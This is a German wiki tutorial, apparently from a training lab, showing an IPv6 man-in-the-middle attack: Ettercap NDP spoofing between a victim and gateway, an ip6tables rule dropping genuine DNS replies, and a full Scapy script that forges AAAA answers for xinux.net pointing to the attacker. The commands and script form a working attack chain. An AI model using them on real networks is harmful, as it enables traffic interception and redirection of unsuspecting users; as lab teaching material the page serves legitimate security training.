IPv6 NDP Spoofing Ettercap plus DNS Spoofing mit scapy
Zur Navigation springen
Zur Suche springen
Einleitung
Anleitung für IPv6 Man-in-the-Middle Angriffe mittels NDP Spoofing kombiniert mit DNS Spoofing.
Voraussetzungen
- Angreifer (Kali): 2003:a:32a:1799::3:1
- Opfer: 2003:a:32a:1799::1:3
- Gateway: 2003:a:32a:1799::1
- Zieldomain: xinux.net
Durchführung
Schritt 1: NDP Spoofing mit Ettercap
- ettercap -i eth0 -Tq -M ndp:remote //2003:a:32a:1799::1:3// //2003:a:32a:1799::1//
Schritt 2: DNS Antworten von externen Servern blockieren
- ip6tables -I OUTPUT -s 2001:4860:4860::8888 -p udp --sport 53 -j DROP
Schritt 3: DNS Spoofing mit Scapy
Erstelle die Datei dnsspoof.py:
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if pkt.haslayer(DNS) and pkt[DNS].qr == 0 and pkt.haslayer(DNSQR):
query = pkt[DNSQR].qname
if b"xinux.net" in query:
print(f"Spoofing: {query}")
# OPT Record falls vorhanden kopieren
additional = None
if pkt.haslayer(DNS) and pkt[DNS].ar is not None:
additional = pkt[DNS].ar
# Response mit OPT Record falls vorhanden
resp = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)/\
UDP(sport=53, dport=pkt[UDP].sport)/\
DNS(id=pkt[DNS].id,
qr=1,
qd=pkt[DNS].qd,
an=DNSRR(rrname=query, type=28, rdata="2003:a:32a:1799::3:1"),
ar=additional)
send(resp, iface="eth0")
print("Sent spoofed response with OPT")
return
print("[*] Listening for DNS queries...")
sniff(iface="eth0", filter="ip6 and udp dst port 53", prn=spoof_dns, store=0)
Starten des DNS Spoofers:
- python3 dnsspoof.py
Verifikation
Auf dem Opfer-Rechner testen:
- dig -t aaaa xinux.net
- ping xinux.net
Die Ausgabe sollte die gespoofete IPv6-Adresse des Angreifers zeigen.